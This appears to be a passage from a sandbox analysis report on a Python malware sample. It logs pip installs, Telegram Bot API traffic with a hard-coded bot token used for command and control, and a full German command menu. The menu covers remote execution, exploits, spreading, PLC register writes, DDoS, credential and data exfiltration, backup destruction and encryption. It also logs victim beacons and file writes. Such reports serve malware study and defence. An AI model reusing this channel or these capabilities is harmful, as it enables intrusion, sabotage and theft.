Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3167 x-amz-id-2: gg7ADArbfJBvFG/oMY15D1mM9ljQY8uJKSJABZ8DunRgCyQp75C8GLl+XFo4rFBPIkKxUFxzKHs= x-amz-request-id: 5CGV0N9M6EZQ5ENG Last-Modified: Thu 19 Feb 2026 05:00:58 GMT ETag: "2a0ff29dc7f8246f49f7ca63d1b1a3ff" x-amz-server-side-encryption: AES256 x-amz-version-id: anaw76OMYJEyauI4wq98Ie2IjcSM6U5v Content-Type: binary/octet-stream Server: AmazonS3 Fastly-Restarts: 1 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:39 GMT Age: 1593231 X-Served-By: cache-iad-kjyo7100112-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 2870 113 X-Timer: S1794606820.658056 VS0 VE0 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 3.1.3 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: flask with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A20466C61736B0A56657273696F6E3A20332E312E330A53756D6D6172793A20412073696D70....... "GET /simple/blinker/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3865 access-control-allow-methods: GET x-pypi-last-serial: 25894302 content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial access-control-allow-origin: * etag: "q0xM4FP5RLP+LeKGeuTeDA" cache-control: max-age=600 public content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-max-age: 86400 referrer-policy: origin-when-cross-origin access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since server: gunicorn Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:39 GMT X-Served-By: cache-iad-kcgs7200087-IAD cache-iad-kcgs7200087-IAD cache-iad-kcgs7200122-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 92613 4 X-Timer: S1794606820.775856 VS0 VE1 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365.......72:T2ffa,"POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/getUpdates HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 9 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "timeout=0" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:15 GMT Content-Type: application/json Content-Length: 1781 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A5B7B227570646174655F6964223A3631323030323134362C0A226D657373616765223A7B226D657373616765....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/getUpdates HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 19 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "offset=0&timeout=25" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:38 GMT Content-Type: application/json Content-Length: 1781 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A5B7B227570646174655F6964223A3631323030323134362C0A226D657373616765223A7B226D657373616765....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 36 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "chat_id=7614959488&text=keine+Knoten" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:39 GMT Content-Type: application/json Content-Length: 263 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A32372C2266726F6D223A7B226964223A393134333330313733352C226973....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 1861 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "chat_id=7614959488&text=BEFEHLE%0A%2Flist++++++++++++++++++++++alle+Knoten%0A%2Fdevices+%5Bart%5D+++++++++++++nach+Art+filtern+%28win%2Flinux%2Frouter%2Fcamera%2Fics%2Fprinter%2Fnas%2Fiot%29%0A%2Fupdate++++++++++++++++++++Statistik%0A%2Finfo++++++++++++++++++++++Selbstauskunft%0A%2Fexec+%3Cid%3E+%3Ccmd%3E+++++++++++Befehl+auf+Knoten%0A%2Fget+%3Cid%3E+%3Cpfad%3E+++++++++++Datei+holen%0A%2Fexploit+%3Cip%3E++++++++++++++Exploits+gegen+Ziel%0A%2Fspread+%5Bnetz%5D+++++++++++++Spread+erzwingen%0A%2Fcam+++++++++++++++++++++++Kameradatenbank%0A%2Fcamscan+%5Bnetz%5D++++++++++++Kameras+scannen%0A%2Fics+%3Cip%2Cip%3E+++++++++++++++Modbus+pruefen%0A%2Fchaos+%3Cip%3E+%5Bunit%5D+++++++++SPS+Register+schreiben%0A%2Fddos+%3Cziel%3E+%5Bport%5D+%5Bsek%5D+%5Bart%5D%0A%2Fddos+all+%3Cziel%3E+%5Bport%5D+%5Bsek%5D+%5Bart%5D%0A%2Fddosstop++++++++++++++++++Angriff+stoppen%0A%2Frelay+%3Cnetz%3E+%3Cknoten%3E+++++Pivot+ueber+Knoten%0A%2Fwlan++++++++++++++++++++++WLAN-Passwoerter%0A%2Fnat+++++++++++++++++++++++UPnP-Port+oeffnen%0A%2Fcloud+++++++++++++++++++++Cloud-Metadata+und+K8s%0A%2Fs3+%3Cbucket%3E+++++++++++++++Bucket+listen%0A%2Fsupply++++++++++++++++++++Build-Hooks+infizieren%0A%2Fbackup++++++++++++++++++++Backups+zerstoeren%0A%2Fusb+++++++++++++++++++++++USB-Medien+infizieren%0A%2Fexfil+++++++++++++++++++++Daten+sammeln+und+senden%0A%2Fdetonate++++++++++++++++++Verschluesseln%0A%2Finstall+%3Ctool%3E++++++++++++Werkzeug+nachinstallieren%0A%2Ftools+++++++++++++++++++++Werkzeugstatus%0A%2Favkill++++++++++++++++++++AV-Prozesse+toeten%0A%2Fheal++++++++++++++++++++++Selbstheilung%0A%2Fselfupdate+%3Cb64%3E+%3Csig%3E++++Update%0A%2Fsleep+%3Csek%3E+++++++++++++++Intervall%0A%2Fchat+%3Cid%3E+++++++++++++++++Chat+setzen%0A%2Ffw++++++++++++++++++++++++Firewallregeln+neu+setzen%0A%2Fhelp++++++++++++++++++++++diese+Liste%0A%2Fkill+%3Cid%7Call%3E+++++++++++++beenden" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:39 GMT Content-Type: application/json Content-Length: 3518 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A32382C2266726F6D223A7B226964223A393134333330313733352C226973....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 1861 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "chat_id=7614959488&text=BEFEHLE%0A%2Flist++++++++++++++++++++++alle+Knoten%0A%2Fdevices+%5Bart%5D+++++++++++++nach+Art+filtern+%28win%2Flinux%2Frouter%2Fcamera%2Fics%2Fprinter%2Fnas%2Fiot%29%0A%2Fupdate++++++++++++++++++++Statistik%0A%2Finfo++++++++++++++++++++++Selbstauskunft%0A%2Fexec+%3Cid%3E+%3Ccmd%3E+++++++++++Befehl+auf+Knoten%0A%2Fget+%3Cid%3E+%3Cpfad%3E+++++++++++Datei+holen%0A%2Fexploit+%3Cip%3E++++++++++++++Exploits+gegen+Ziel%0A%2Fspread+%5Bnetz%5D+++++++++++++Spread+erzwingen%0A%2Fcam+++++++++++++++++++++++Kameradatenbank%0A%2Fcamscan+%5Bnetz%5D++++++++++++Kameras+scannen%0A%2Fics+%3Cip%2Cip%3E+++++++++++++++Modbus+pruefen%0A%2Fchaos+%3Cip%3E+%5Bunit%5D+++++++++SPS+Register+schreiben%0A%2Fddos+%3Cziel%3E+%5Bport%5D+%5Bsek%5D+%5Bart%5D%0A%2Fddos+all+%3Cziel%3E+%5Bport%5D+%5Bsek%5D+%5Bart%5D%0A%2Fddosstop++++++++++++++++++Angriff+stoppen%0A%2Frelay+%3Cnetz%3E+%3Cknoten%3E+++++Pivot+ueber+Knoten%0A%2Fwlan++++++++++++++++++++++WLAN-Passwoerter%0A%2Fnat+++++++++++++++++++++++UPnP-Port+oeffnen%0A%2Fcloud+++++++++++++++++++++Cloud-Metadata+und+K8s%0A%2Fs3+%3Cbucket%3E+++++++++++++++Bucket+listen%0A%2Fsupply++++++++++++++++++++Build-Hooks+infizieren%0A%2Fbackup++++++++++++++++++++Backups+zerstoeren%0A%2Fusb+++++++++++++++++++++++USB-Medien+infizieren%0A%2Fexfil+++++++++++++++++++++Daten+sammeln+und+senden%0A%2Fdetonate++++++++++++++++++Verschluesseln%0A%2Finstall+%3Ctool%3E++++++++++++Werkzeug+nachinstallieren%0A%2Ftools+++++++++++++++++++++Werkzeugstatus%0A%2Favkill++++++++++++++++++++AV-Prozesse+toeten%0A%2Fheal++++++++++++++++++++++Selbstheilung%0A%2Fselfupdate+%3Cb64%3E+%3Csig%3E++++Update%0A%2Fsleep+%3Csek%3E+++++++++++++++Intervall%0A%2Fchat+%3Cid%3E+++++++++++++++++Chat+setzen%0A%2Ffw++++++++++++++++++++++++Firewallregeln+neu+setzen%0A%2Fhelp++++++++++++++++++++++diese+Liste%0A%2Fkill+%3Cid%7Call%3E+++++++++++++beenden" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:39 GMT Content-Type: application/json Content-Length: 3518 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A32392C2266726F6D223A7B226964223A393134333330313733352C226973....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 36 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "chat_id=7614959488&text=camscan+auto" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:40 GMT Content-Type: application/json Content-Length: 263 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A33302C2266726F6D223A7B226964223A393134333330313733352C226973....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 125 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "chat_id=7614959488&text=%23R%7C68be7a5555%7C6TiieWSzo27Q33T%7C192.168.0.2%7CWindows%7CvQTkgwk%7Cwin%7C445%7C1794606934.488161" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:41 GMT Content-Type: application/json Content-Length: 427 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A33312C2266726F6D223A7B226964223A393134333330313733352C226973....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 126 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "chat_id=7614959488&text=%23R%7C68be7a5555%7C6TiieWSzo27Q33T%7C192.168.0.2%7CWindows%7CvQTkgwk%7Cwin%7C445%7C1794606934.4569135" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:41 GMT Content-Type: application/json Content-Length: 428 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A33322C2266726F6D223A7B226964223A393134333330313733352C226973....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 122 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "chat_id=7614959488&text=%23R%7C68be7a5555%7C6TiieWSzo27Q33T%7C192.168.0.2%7CWindows%7CvQTkgwk%7Cwin%7C%7C1794606935.535042" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:42 GMT Content-Type: application/json Content-Length: 424 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A33332C2266726F6D223A7B226964223A393134333330313733352C226973....... "POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 81 Host: api.telegram.org User-Agent: Python-urllib/3.11 Connection: close" with payload::==> "chat_id=7614959488&text=online+6TiieWSzo27Q33T+192.168.0.2%0A%2Fhelp+fuer+Befehle" HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Fri 13 Nov 2026 21:55:43 GMT Content-Type: application/json Content-Length: 403 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET POST OPTIONS Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A33342C2266726F6D223A7B226964223A393134333330313733352C226973.......73:Tec4,"368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\6\8\c\6\368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp]- [targetUID: 00000000-00007600] "werkzeug-3.1.9-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-7vhp9gqk\werkzeug-3.1.9-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-h757qty4\METADATA]- [targetUID: 00000000-00008020] "f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\f\7\b\f\d\f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp]- [targetUID: 00000000-00007600] "d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\d\6\a\5\d\d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-rs82_m71\METADATA]- [targetUID: 00000000-00008020] "pyasn1-0.6.5-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-s0nss2xc\pyasn1-0.6.5-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmpzmd_di8t" has type "Python script ASCII text executable"- Location: [%TEMP%\tmpzmd_di8t]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-v6ab7d78\METADATA]- [targetUID: 00000000-00008020] "7144c495e80dd4401a01db6a6dce69b7d606f22805cd81a86d138c05.bodyajufvm_j.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\7\1\4\4\c\7144c495e80dd4401a01db6a6dce69b7d606f22805cd81a86d138c05.bodyajufvm_j.tmp]- [targetUID: 00000000-00007600] "tmp8_ycjwxz" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp8_ycjwxz]- [targetUID: 00000000-00007600] "tmp3fmyilxp" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp3fmyilxp]- [targetUID: 00000000-00007600] "flask-3.1.3-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-7h753rl6\flask-3.1.3-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "a2c7fb2f56be3b29a2d7321b28cab6b1cac04b0c15609403c9f0d984.bodymzavvxro.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\2\c\7\f\a2c7fb2f56be3b29a2d7321b28cab6b1cac04b0c15609403c9f0d984.bodymzavvxro.tmp]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-q362kr73\METADATA]- [targetUID: 00000000-00008020] "click-8.5.1-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-45kz9ct2\click-8.5.1-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmp0wvbcqw3" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp0wvbcqw3]- [targetUID: 00000000-00007600] "itsdangerous-2.2.0-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-vj0y9bp2\itsdangerous-2.2.0-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmp28g66vt3" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp28g66vt3]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-56r183id\METADATA]- [targetUID: 00000000-00008020]74:T48f9,"python.exe" wrote 11264 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13824 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 36864 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 15360 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 15872 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 19456 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 24064 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 14848 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 52736 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 53248 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 10752 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 21504 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 18432 bytes starting with PE header signature to file 